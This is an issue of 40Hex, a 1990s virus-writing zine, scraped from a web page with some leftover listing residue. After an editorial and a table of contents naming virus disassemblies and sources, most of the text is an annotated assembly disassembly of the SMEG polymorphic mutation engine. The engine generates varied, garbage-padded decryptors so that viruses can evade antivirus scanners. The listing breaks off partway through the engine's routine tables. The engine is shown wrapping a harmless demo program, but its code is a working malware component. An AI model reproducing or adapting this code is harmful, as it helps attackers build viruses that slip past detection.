12616 lines
464 KiB
Plaintext
12616 lines
464 KiB
Plaintext
![]() |
40Hex Number 14 Volume 5 Issue 1 File 000
|
|||
|
|
|||
|
Wow, another release of 40hex. Bet you thought we were dead. Wrong.
|
|||
|
Lots of stuff has happened since the last issue of 40hex. The most
|
|||
|
important thing to note is that my apartment burned down back in November.
|
|||
|
I lost pretty much everything, but miraculously, my 386/33 and the 8 megs of
|
|||
|
ram inside it survived a BIG fire, the water hose, then being thrown out of
|
|||
|
a 3 story window. All of the information I had was destroyed however.
|
|||
|
The next thing I would like to mention is the Wired Article that appeared
|
|||
|
about PHALCON/SKISM. It sucked. Besides the fact that I was called the
|
|||
|
"Official Archivist", it was filled with standard virus hype. But hey, at
|
|||
|
least we get to see a picture of Hellraiser and Mark Ludwig.
|
|||
|
|
|||
|
** If you subscribed to the Hard Copy, I lost all subscriber information,
|
|||
|
** please either E-Mail us or mail the P.O. Box.
|
|||
|
|
|||
|
Where to get 40hex:
|
|||
|
|
|||
|
ftp:
|
|||
|
---
|
|||
|
aql.gatech.edu:/pub/virii
|
|||
|
netcom.com:/br/bradleym/zines
|
|||
|
|
|||
|
WWW:
|
|||
|
---
|
|||
|
http://underground.org/publications/40hex
|
|||
|
|
|||
|
Email:
|
|||
|
-----
|
|||
|
fortyhex@phantom.com
|
|||
|
|
|||
|
Phalcon/Skism's Top 13 List of Things you Find in 40hex-14
|
|||
|
----------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
40hex-14.000 Mrrrh, yer stepping in it.
|
|||
|
40hex-14.001 Smeg Disassembly
|
|||
|
40hex-14.002 Kill Smeg
|
|||
|
40hex-14.003 Boot Sectors Explored
|
|||
|
40hex-14.004 Assassin
|
|||
|
40hex-14.005 And Now for something completely useless...
|
|||
|
40hex-14.006 Junkie Dis
|
|||
|
40hex-14.007 Virus Spotlight: 3APA3A
|
|||
|
40hex-14.008 Corporate Life
|
|||
|
40hex-14.009 Grace
|
|||
|
40hex-14.010 Level 3
|
|||
|
40hex-14.011 Jump
|
|||
|
40hex-14.012 UMB Residency
|
|||
|
40hex-14.013 Avalanche
|
|||
|
|
|||
|
|
|||
|
40Hex is (C) 1995 Phalcon/Skism. All rights reserved. This magazine may not
|
|||
|
be sold or modified without the written consent of Phalcon/Skism.
|
|||
|
|
|||
|
|
|||
|
Greetings flyin' out to: Qark, Antigen, Lookout, Dark Slayer, Theora, cDc,
|
|||
|
MHP, #virus, and all the members that have gotten back in touch with us.
|
|||
|
|
|||
|
-- >> G-to-the-H-to-the-E-to-the-A-to-the-P
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 001
|
|||
|
|
|||
|
SMEG is one of those ubiquitous polymorphism aids which have become fashionable
|
|||
|
during the last few years. It was written by the Black Baron of England. It
|
|||
|
tends to generate rather large decryptors. The only really interesting feature
|
|||
|
is that it has the capability of generating CALL's to garbage subroutines. Note
|
|||
|
that there are only a few routines which SMEG chooses from, so this encryption
|
|||
|
is more on the level of Whale coupled with garbling. The debug script follows
|
|||
|
the disassembly.
|
|||
|
|
|||
|
Dark Angel
|
|||
|
Phalcon/Skism 1995
|
|||
|
|
|||
|
-------------------------------
|
|||
|
; This is the disassembly of a SMEG demonstration program which generates
|
|||
|
; snippets of code encrypted with SMEG.
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
org 100
|
|||
|
; Disassembly by Dark Angel of Phalcon/Skism
|
|||
|
; for 40Hex #14 Vol 5 Issue 1
|
|||
|
workbuffer struc
|
|||
|
datasize dw ? ; 00 length of data to crypt
|
|||
|
sourceptr dw ? ; 02 pointer to data to crypt
|
|||
|
targetptr dw ? ; 04 pointer of where to put crypted data
|
|||
|
db ? ; 06 reg0 encryption value
|
|||
|
db ? ; 07 reg1 counter register
|
|||
|
db ? ; 08 reg2 temporary storage for data
|
|||
|
; to be decrypted
|
|||
|
db ? ; 09 reg3
|
|||
|
db ? ; 0A reg4 (always BP)
|
|||
|
db ? ; 0B reg5
|
|||
|
db ? ; 0C reg6
|
|||
|
db ? ; 0D reg7 pointer register
|
|||
|
rng_buffer dw ? ; 0E used by random number generator
|
|||
|
cryptval db ? ; 10 encryption value
|
|||
|
ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references
|
|||
|
loop_top dw ? ; 13 points to top of decryption loop
|
|||
|
pointer_patch dw ? ; 15 points to initialisation of pointer
|
|||
|
counter_patch dw ? ; 17 points to initialisation of counter
|
|||
|
pointer_fixup dw ? ; 19 needed for pointer calculation
|
|||
|
crypt_type db ? ; 1B how is it encrypted?
|
|||
|
initialIP dw ? ; 1C IP at start of decryptor
|
|||
|
lastgarble db ? ; 1E type of the last garbling instr
|
|||
|
cJMP_patch dw ? ; 1F conditional jmp patch
|
|||
|
CALL_patch dw ? ; 21 CALL patch
|
|||
|
nJMP_patch dw ? ; 23 near JMP patch
|
|||
|
garbage_size dw ? ; 25 # garbage bytes to append
|
|||
|
decryptor_size dw ? ; 27 size of decryptor
|
|||
|
last_CALL dw ? ; 29 location of an old CALL patch location
|
|||
|
which_tbl dw ? ; 2B which table to use
|
|||
|
workbuffer ends
|
|||
|
|
|||
|
SMEG_demo: jmp enter_SMEG_demo
|
|||
|
filename db '0000.COM', 0
|
|||
|
|
|||
|
prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh
|
|||
|
db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A
|
|||
|
db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
|
|||
|
db '1 -- 10 Generations',0Dh,0A
|
|||
|
db '2 -- 100 ""',0Dh,0A
|
|||
|
db '3 -- 1000 ""',0Dh,0A
|
|||
|
db '4 -- 10000 "" (Large HD`s Only!!)$'
|
|||
|
|
|||
|
_10 db ' 10 $'
|
|||
|
_100 db ' 100 $'
|
|||
|
_1000 db ' 1000 $'
|
|||
|
_10000 db ' 10000 $'
|
|||
|
|
|||
|
generating db 0Dh,0A,0A,0A,'Generating$'
|
|||
|
|
|||
|
|
|||
|
please_wait db 'Executable .COM Generations, Please Wait...$'
|
|||
|
|
|||
|
checkdiff db 0Dh,0A,0A
|
|||
|
db 'DONE! Now examine each, and'
|
|||
|
db ' note how different they are!',0Dh,0A,0A,7,'$'
|
|||
|
|
|||
|
diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!'
|
|||
|
db 0Dh,0A,0A,7,'$'
|
|||
|
|
|||
|
num2gen dw 10d, offset _10
|
|||
|
dw 100d, offset _100
|
|||
|
dw 1000d, offset _1000
|
|||
|
dw 10000d, offset _10000
|
|||
|
|
|||
|
enter_SMEG_demo:mov ax,3 ; set video mode to standard
|
|||
|
int 10 ; text mode (clear screen, too)
|
|||
|
|
|||
|
mov dx,offset prompt ; display prompt
|
|||
|
mov ah,9
|
|||
|
int 21
|
|||
|
|
|||
|
inputloop: mov ax,0C07 ; clear keyboard buffer & get
|
|||
|
int 21 ; keystroke
|
|||
|
|
|||
|
cmp al,'1' ; must be between 1 and 4
|
|||
|
jb inputloop
|
|||
|
cmp al,'4'
|
|||
|
ja inputloop
|
|||
|
|
|||
|
sub al,'1' ; normalise
|
|||
|
xor ah,ah ; and find out how many files
|
|||
|
add ax,ax ; we should generate
|
|||
|
add ax,ax
|
|||
|
add ax,offset num2gen
|
|||
|
xchg bx,ax
|
|||
|
push bx
|
|||
|
|
|||
|
mov dx,offset generating
|
|||
|
mov ah,9 ; display string
|
|||
|
int 21
|
|||
|
|
|||
|
pop bx ; display num to generate
|
|||
|
mov cx,[bx]
|
|||
|
push cx
|
|||
|
mov dx,[bx+2]
|
|||
|
int 21
|
|||
|
|
|||
|
mov dx,offset please_wait ; display string again
|
|||
|
int 21
|
|||
|
|
|||
|
pop cx
|
|||
|
|
|||
|
gen_file_loop: push cx
|
|||
|
mov bp,offset data_area ; set up SMEG registers
|
|||
|
mov di,offset target_area
|
|||
|
mov dx,offset carrier
|
|||
|
mov cx,offset end_carrier - offset carrier
|
|||
|
mov ax,100 ; COM files start exec @ 100
|
|||
|
call SMEG ; encrypt the carrier file
|
|||
|
|
|||
|
mov ah,5Bh ; create new file
|
|||
|
mov dx,offset filename
|
|||
|
xor cx,cx
|
|||
|
int 21
|
|||
|
jnc created_file
|
|||
|
print_error_exit:
|
|||
|
call print_error
|
|||
|
exit_error: pop cx
|
|||
|
mov ax,4CFF ; terminate errorlevel -1
|
|||
|
int 21
|
|||
|
|
|||
|
created_file: xchg bx,ax
|
|||
|
mov ah,40 ; write decryptor
|
|||
|
mov cx,[bp.decryptor_size]
|
|||
|
mov dx,offset target_area
|
|||
|
int 21
|
|||
|
jnc write_rest
|
|||
|
|
|||
|
close_exit: call print_error
|
|||
|
mov ah,3E ; close file
|
|||
|
int 21
|
|||
|
jmp short exit_error
|
|||
|
|
|||
|
write_rest: call encrypt ; encrypt the code
|
|||
|
mov ah,40 ; the write the result to the
|
|||
|
mov cx,[bp.datasize] ; file
|
|||
|
mov dx,offset target_area
|
|||
|
int 21
|
|||
|
jc close_exit
|
|||
|
|
|||
|
call generate_garbage ; create garbage
|
|||
|
mov ah,40 ; append it to the file
|
|||
|
int 21
|
|||
|
jc close_exit
|
|||
|
|
|||
|
mov ah,3E ; close file
|
|||
|
int 21
|
|||
|
jc print_error_exit
|
|||
|
|
|||
|
mov bx,offset filename+3 ; calculate next file name
|
|||
|
mov cx,4
|
|||
|
inc_fname: inc byte ptr [bx]
|
|||
|
cmp byte ptr [bx],3A
|
|||
|
jb increment_done
|
|||
|
sub byte ptr [bx],0A
|
|||
|
dec bx
|
|||
|
loop inc_fname
|
|||
|
increment_done: pop cx
|
|||
|
loop gen_file_loop
|
|||
|
|
|||
|
mov dx,offset checkdiff ; display string
|
|||
|
mov ah,9
|
|||
|
int 21
|
|||
|
|
|||
|
mov ax,4C00 ; exit errorlevel 0
|
|||
|
int 21
|
|||
|
|
|||
|
print_error: mov dx,offset diskerror ; display error message
|
|||
|
mov ah,9
|
|||
|
int 21
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
carrier: call enter_carrier
|
|||
|
db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
|
|||
|
db ' decryptor!',0Dh,0A,'$'
|
|||
|
enter_carrier: pop dx
|
|||
|
mov ah,9 ; print string
|
|||
|
int 21
|
|||
|
|
|||
|
mov ax,4c00 ; terminate
|
|||
|
int 21
|
|||
|
end_carrier:
|
|||
|
|
|||
|
; SMEG code begins here
|
|||
|
|
|||
|
SMEG: mov [bp.datasize],cx ; save length to crypt
|
|||
|
mov [bp.sourceptr],dx ; save offset to data to crypt
|
|||
|
mov [bp.targetptr],di ; save offset to where to put crypted stuff
|
|||
|
push bx si
|
|||
|
|
|||
|
mov bx,bp
|
|||
|
db 83,0C3,06 ; add bx,6
|
|||
|
mov cx,2Dh ; clear the work area with 0's
|
|||
|
; the above line is buggy. it should read: mov cx,2Dh-6
|
|||
|
push bx
|
|||
|
clear_dataarea: mov [bx],ch
|
|||
|
inc bx
|
|||
|
loop clear_dataarea
|
|||
|
|
|||
|
mov [bp.initialIP],ax ; store initial IP
|
|||
|
call rnd_init
|
|||
|
mov bx,offset use_regs_tbl
|
|||
|
call rnd_get
|
|||
|
and al,1F
|
|||
|
xlat
|
|||
|
pop bx
|
|||
|
mov cx,4
|
|||
|
fill_registers:
|
|||
|
xor dl,dl ; fill in which registers
|
|||
|
rcl al,1 ; do which job
|
|||
|
rcl dl,1
|
|||
|
rcl al,1
|
|||
|
rcl dl,1
|
|||
|
mov [bx],dl
|
|||
|
inc bx
|
|||
|
loop fill_registers
|
|||
|
|
|||
|
mov byte ptr [bx],5 ; use BP as a garbling register
|
|||
|
inc bx
|
|||
|
inc bx
|
|||
|
call rnd_get
|
|||
|
rol al,1 ; get top bit of al
|
|||
|
and al,1 ; to select between
|
|||
|
add al,6 ; si and di for ptr
|
|||
|
mov [bx],al ; register
|
|||
|
xor al,1 ; flip to the other one
|
|||
|
cmp byte ptr [bx-3],3 ; is it BX?
|
|||
|
jne is_not_bx
|
|||
|
mov [bx-3],al
|
|||
|
mov al,3
|
|||
|
is_not_bx: mov [bx+1],al
|
|||
|
mov al,[bx-3]
|
|||
|
mov [bx-1],al
|
|||
|
|
|||
|
gen_cryptval: call rnd_get
|
|||
|
xor al,ah
|
|||
|
jz gen_cryptval
|
|||
|
mov [bp.cryptval],al ; store encryption value
|
|||
|
|
|||
|
call rnd_get ; get a random value for the
|
|||
|
or al,1 ; offset of memory references,
|
|||
|
mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX]
|
|||
|
|
|||
|
call rnd_init ; generate a random number
|
|||
|
and ax,3FF ; from 80 to 47F to be the
|
|||
|
add ax,80 ; number of garbage bytes to
|
|||
|
mov [bp.garbage_size],ax ; add
|
|||
|
|
|||
|
; the next block serves no purpose. but it is a valid text string...
|
|||
|
xor ax,ax ; 3?SMEG????
|
|||
|
add al,53 ; where ? stands for an upper
|
|||
|
dec bp ; ASCII character
|
|||
|
inc bp
|
|||
|
inc di
|
|||
|
add al,0AE
|
|||
|
cld
|
|||
|
sub di,ax
|
|||
|
|
|||
|
call rnd_get ; do the following from
|
|||
|
and ax,3 ; 3 to 7 times
|
|||
|
add al,3
|
|||
|
xchg cx,ax
|
|||
|
begin_garble: push cx
|
|||
|
call garble_more
|
|||
|
call rnd_get
|
|||
|
cmp al,8C
|
|||
|
jbe no_int21
|
|||
|
and ax,3 ; encode a dummy int 21
|
|||
|
add ax,offset int21fcns ; call
|
|||
|
xchg si,ax
|
|||
|
mov ah,0B4
|
|||
|
lodsb
|
|||
|
xchg ah,al
|
|||
|
stosw
|
|||
|
mov ax,21CDh ; encode int 21
|
|||
|
stosw
|
|||
|
no_int21: pop cx
|
|||
|
loop begin_garble
|
|||
|
|
|||
|
mov al,0E8 ; encode a CALL
|
|||
|
stosb
|
|||
|
push di ; write garbage for offset
|
|||
|
stosw ; of call for now
|
|||
|
call garble_more ; encode some garbage
|
|||
|
mov al,0E9 ; encode a JMP
|
|||
|
stosb
|
|||
|
pop bx
|
|||
|
push di
|
|||
|
stosw
|
|||
|
push di
|
|||
|
pop ax
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
sub ax,bx
|
|||
|
mov [bx],ax ; patch CALL to point to
|
|||
|
; space past the JMP where we
|
|||
|
call garble_more ; encode a garbage subroutine
|
|||
|
|
|||
|
mov al,0C3 ; encode a RETN
|
|||
|
stosb
|
|||
|
|
|||
|
pop bx
|
|||
|
push di
|
|||
|
pop ax
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
sub ax,bx
|
|||
|
mov [bx],ax ; Make JMP go past subroutine
|
|||
|
|
|||
|
call encode_routine ; encode the routine!
|
|||
|
|
|||
|
mov si,bp
|
|||
|
db 83,0C6,08 ; add si,8 ; default to using data temp
|
|||
|
; storage register to return
|
|||
|
; to top of loop
|
|||
|
and al,al ; check return code of routine
|
|||
|
jnz how_to_top
|
|||
|
dec si ; if 0, instead use encryption
|
|||
|
dec si ; value register to return
|
|||
|
how_to_top: mov al,75 ; encode JNZ
|
|||
|
stosb
|
|||
|
inc di
|
|||
|
push di
|
|||
|
call garble_some
|
|||
|
pop bx
|
|||
|
mov al,0E9 ; encode a JMP
|
|||
|
stosb
|
|||
|
push di
|
|||
|
inc di ; skip the offset for now
|
|||
|
inc di
|
|||
|
mov ax,di
|
|||
|
sub ax,bx
|
|||
|
mov [bx-1],al ; patch the JNZ
|
|||
|
call garble_some
|
|||
|
|
|||
|
call rnd_get
|
|||
|
and ax,3 ; first entry requires
|
|||
|
add ax,ax ; no register setup, so
|
|||
|
jz no_setup ; jmp past it
|
|||
|
|
|||
|
push ax
|
|||
|
mov al,0B8
|
|||
|
or al,[si] ; MOV word-reg, XXXX
|
|||
|
stosb
|
|||
|
mov ax,[bp.loop_top]
|
|||
|
sub ax,[bp.targetptr]
|
|||
|
add ax,[bp.initialIP]
|
|||
|
stosw
|
|||
|
call garble_some
|
|||
|
pop ax
|
|||
|
no_setup: add ax,offset jmp_table
|
|||
|
xchg bx,ax
|
|||
|
call word ptr [bx] ; encode method of returning
|
|||
|
stosw ; to the top of the loop
|
|||
|
|
|||
|
pop bx
|
|||
|
mov ax,di
|
|||
|
sub ax,bx
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
mov [bx],ax
|
|||
|
call garble_more
|
|||
|
pad_paragraph: mov ax,di ; pad the decryptor out to the
|
|||
|
sub ax,[bp.targetptr] ; nearest paragraph
|
|||
|
and al,0F ; do we need to?
|
|||
|
jz padded ; no, we are done
|
|||
|
cmp al,0C ; otherwise, still a lot to go?
|
|||
|
ja one_byte_pad ; no, do one byte at a time
|
|||
|
call not_branch_garble ; else do a nonbranching
|
|||
|
jmp short pad_paragraph ; instruction
|
|||
|
|
|||
|
one_byte_pad: call rnd_get ; do a random one byte padding
|
|||
|
call do_one_byte ; instruction
|
|||
|
jmp short pad_paragraph
|
|||
|
|
|||
|
padded: mov ax,di
|
|||
|
sub ax,[bp.targetptr]
|
|||
|
mov [bp.decryptor_size],ax
|
|||
|
add ax,[bp.initialIP]
|
|||
|
mov cx,[bp.pointer_fixup]
|
|||
|
sub ax,cx
|
|||
|
mov bx,[bp.pointer_patch]
|
|||
|
mov [bx],ax
|
|||
|
mov bl,[bp.crypt_type] ; get encryption type so
|
|||
|
mov cl,3 ; the initial value of the
|
|||
|
ror bl,cl ; counter can be calculated
|
|||
|
db 83,0E3,0F ; and bx,0F
|
|||
|
add bx,offset counter_init_table
|
|||
|
mov ax,[bp.datasize]
|
|||
|
call word ptr [bx]
|
|||
|
|
|||
|
mov bx,[bp.counter_patch] ; patch the value of the
|
|||
|
mov [bx],ax ; counter as needed
|
|||
|
|
|||
|
pop si bx
|
|||
|
retn
|
|||
|
|
|||
|
generate_garbage:
|
|||
|
mov cx,[bp.garbage_size] ; write random bytes
|
|||
|
mov di,[bp.targetptr] ; to the target location
|
|||
|
push cx di
|
|||
|
random_gen: call rnd_get
|
|||
|
stosb
|
|||
|
loop random_gen
|
|||
|
pop dx cx
|
|||
|
retn
|
|||
|
|
|||
|
write_table dw offset write_nothing
|
|||
|
dw offset write_cryptval
|
|||
|
dw offset write_pointer_patch
|
|||
|
dw offset write_counter_patch
|
|||
|
dw offset write_ptr_offset
|
|||
|
dw offset write_dl
|
|||
|
|
|||
|
; In the following table, each pair of bits represents a register
|
|||
|
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
|
|||
|
use_regs_tbl: db 00011011b ; ax cx dx bx
|
|||
|
db 11000110b ; bx ax cx dx
|
|||
|
db 10110001b ; dx bx ax cx
|
|||
|
db 01101100b ; cx dx bx ax
|
|||
|
db 11100100b ; bx dx cx ax
|
|||
|
db 00111001b ; ax bx dx cx
|
|||
|
db 01001110b ; cx ax bx dx
|
|||
|
db 10010011b ; dx cx ax bx
|
|||
|
db 01001011b ; cx ax dx bx
|
|||
|
db 11010010b ; bx cx ax dx
|
|||
|
db 10110100b ; dx bx cx ax
|
|||
|
db 00101101b ; ax dx cx bx
|
|||
|
db 11100001b ; bx dx ax cx
|
|||
|
db 01111000b ; cx bx dx ax
|
|||
|
db 00011110b ; ax cx bx dx
|
|||
|
db 10000111b ; dx ax cx bx
|
|||
|
db 00100111b ; ax dx cx bx
|
|||
|
db 11001001b ; bx ax dx cx
|
|||
|
db 01110010b ; cx bx ax dx
|
|||
|
db 10011100b ; dx cx bx ax
|
|||
|
db 11011000b ; dx ax bx cx
|
|||
|
db 00110110b ; ax bx cx dx
|
|||
|
db 10001101b ; bx cx dx ax
|
|||
|
db 01100011b ; cx dx ax bx
|
|||
|
db 11100100b ; bx dx cx ax
|
|||
|
db 00101101b ; ax dx cx bx
|
|||
|
db 00100111b ; ax dx cx bx
|
|||
|
db 00011110b ; ax cx bx dx
|
|||
|
db 11000110b ; bx ax cx dx
|
|||
|
db 10000111b ; bx cx ax dx
|
|||
|
db 11010010b ; cx bx ax dx
|
|||
|
db 01110010b ; cx bx ax dx
|
|||
|
|
|||
|
onebyte_table: dec ax
|
|||
|
inc ax
|
|||
|
clc
|
|||
|
cld
|
|||
|
cmc
|
|||
|
stc
|
|||
|
inc ax
|
|||
|
dec ax
|
|||
|
|
|||
|
; high byte holds the opcode, low byte holds the second byte of the
|
|||
|
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
|
|||
|
; byte hold the maximum amount to add to the high byte in creating the
|
|||
|
; instruction. This allows one word to generate more than one instruction,
|
|||
|
; including the byte or word forms of the instructions
|
|||
|
; note that this is reverse of what will be actually stored
|
|||
|
garble_table: dw 80F1 ; XOR reg, XXXX
|
|||
|
dw 3201 ; XOR reg, [reg]
|
|||
|
dw 0F6C1 ; TEST reg, XXXX
|
|||
|
dw 8405 ; TEST/XCHG reg, [reg]
|
|||
|
dw 80E9 ; SUB reg, XXXX (2 diff encodings)
|
|||
|
dw 2A01 ; SUB reg, [reg]
|
|||
|
dw 0D0EBh ; SHR reg, 1
|
|||
|
dw 1A01 ; SBB reg, [reg]
|
|||
|
dw 80D9 ; SBB reg, XXXX
|
|||
|
dw 80D1 ; ADC reg, XXXX
|
|||
|
dw 0D0FBh ; SAR reg, 1/CL
|
|||
|
dw 0D0E3 ; SHL reg, 1/CL
|
|||
|
dw 0D0CBh ; ROR reg, 1/CL
|
|||
|
dw 0D0C3 ; ROL reg, 1/CL
|
|||
|
dw 8405 ; TEST/XCHG reg, [reg]
|
|||
|
dw 0D0DBh ; RCR reg, 1/CL
|
|||
|
dw 0C6C1 ; MOV reg, XXXX
|
|||
|
dw 080C9 ; OR reg, XXXX
|
|||
|
dw 0A01 ; OR reg, [reg]
|
|||
|
dw 0F6D1 ; NOT reg
|
|||
|
dw 0F6D9 ; NEG reg
|
|||
|
dw 8A01 ; MOV reg, [reg]
|
|||
|
dw 0C6C1 ; MOV reg, XXXX
|
|||
|
dw 0201 ; ADD reg, [reg]
|
|||
|
dw 80C1 ; ADD reg, XXXX
|
|||
|
dw 80FDh ; CMP reg, XXXX
|
|||
|
dw 3807 ; CMP reg, [reg] (2 diff encodings)
|
|||
|
dw 80E1 ; AND reg, XXXX
|
|||
|
dw 0D0D3 ; RCL reg, 1/CL
|
|||
|
dw 2201 ; AND reg, [reg]
|
|||
|
dw 1201 ; ADC reg, [reg]
|
|||
|
dw 8A01 ; MOV reg, [reg]
|
|||
|
|
|||
|
int21fcns db 19,2A,2C,30
|
|||
|
|
|||
|
counter_init_table:
|
|||
|
dw offset counterinit0
|
|||
|
dw offset counterinit1
|
|||
|
dw offset counterinit2
|
|||
|
dw offset counterinit3
|
|||
|
dw offset counterinit4
|
|||
|
dw offset counterinit5
|
|||
|
dw offset counterinit6
|
|||
|
dw offset counterinit7
|
|||
|
|
|||
|
encode_table dw offset use_as_is
|
|||
|
dw offset fill_mod_field
|
|||
|
dw offset fill_field
|
|||
|
dw offset fill_reg_reg1
|
|||
|
dw offset fill_reg_field
|
|||
|
dw offset fill_mod_n_reg
|
|||
|
dw offset fill_reg_reg2
|
|||
|
|
|||
|
encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS
|
|||
|
db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0
|
|||
|
db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer
|
|||
|
db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter
|
|||
|
db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset]
|
|||
|
db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2
|
|||
|
db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue
|
|||
|
db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1
|
|||
|
db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0
|
|||
|
db 47,0F6,0,98,4,4 ; A NEG [reg7+offset]
|
|||
|
db 47,0F6,0,90,4,4 ; B NOT [reg7+offset]
|
|||
|
db 7,40,4,-1,0,0 ; C INC reg7
|
|||
|
db 1,48,4,-1,0,0 ; D DEC reg1
|
|||
|
db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval
|
|||
|
db 10,33,0,0C0,5,0 ; F XOR reg2,reg0
|
|||
|
|
|||
|
encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset]
|
|||
|
db 8,40,4,-1,0,0 ; 2 INC reg0
|
|||
|
db 8,48,4,-1,0,0 ; 3 DEC reg0
|
|||
|
db 7,81,0,0C0,4,15 ; 4 ADD reg7,1
|
|||
|
db 1,81,0,0E8,4,15 ; 5 SUB reg1,1
|
|||
|
db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0
|
|||
|
db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0
|
|||
|
db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset]
|
|||
|
db 47,8F,0,80,4,4 ; 9 POP [reg7+offset]
|
|||
|
db 8,50,4,-1,0,0 ; A PUSH reg0
|
|||
|
db 8,58,4,-1,0,0 ; B POP reg0
|
|||
|
db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0
|
|||
|
db 2,40,4,-1,0,0 ; D INC reg2
|
|||
|
db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0
|
|||
|
db 9,23,0,0C0,5,0 ; F AND reg1,reg1
|
|||
|
|
|||
|
routine4: db 10
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; beginning of loop (0)
|
|||
|
; MOV reg2,[reg7+offset] (5)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; INC reg0 (02)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; INC reg7 (C)
|
|||
|
; DEC reg1 (D)
|
|||
|
; done (-1)
|
|||
|
db 13,24,0EF,05,0F0,26,0CDh,-1
|
|||
|
|
|||
|
routine8: db 71
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; beginning of loop (0)
|
|||
|
; DEC reg1 (D)
|
|||
|
; NEG [reg7+offset] (A)
|
|||
|
; DEC reg1 (D)
|
|||
|
; MOV reg2,[reg7+offset] (5)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; DEC reg0 (03)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; SUB reg1,1 (05)
|
|||
|
; DEC reg0 (03)
|
|||
|
; SUB reg1,1 (05)
|
|||
|
; done (-1)
|
|||
|
db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1
|
|||
|
|
|||
|
routine1: db 42
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; beginning of loop (0)
|
|||
|
; XCHG reg0,[reg7+offset] (01)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; DEC reg0 (03)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
; return code 0 (0)
|
|||
|
|
|||
|
|
|||
|
db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
|
|||
|
db 0F0,-1,0
|
|||
|
|
|||
|
routineC: db 33
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; beginning of loop (0)
|
|||
|
; DEC reg1 (D)
|
|||
|
; DEC reg1 (D)
|
|||
|
; NOT [reg7+offset] (B)
|
|||
|
; MOV reg2,[reg7+offset] (5)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; INC reg7 (C)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg0 (02)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; done (-1)
|
|||
|
db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1
|
|||
|
|
|||
|
routineE: db 64
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; beginning of loop (0)
|
|||
|
; XOR [reg7],reg0 (9)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
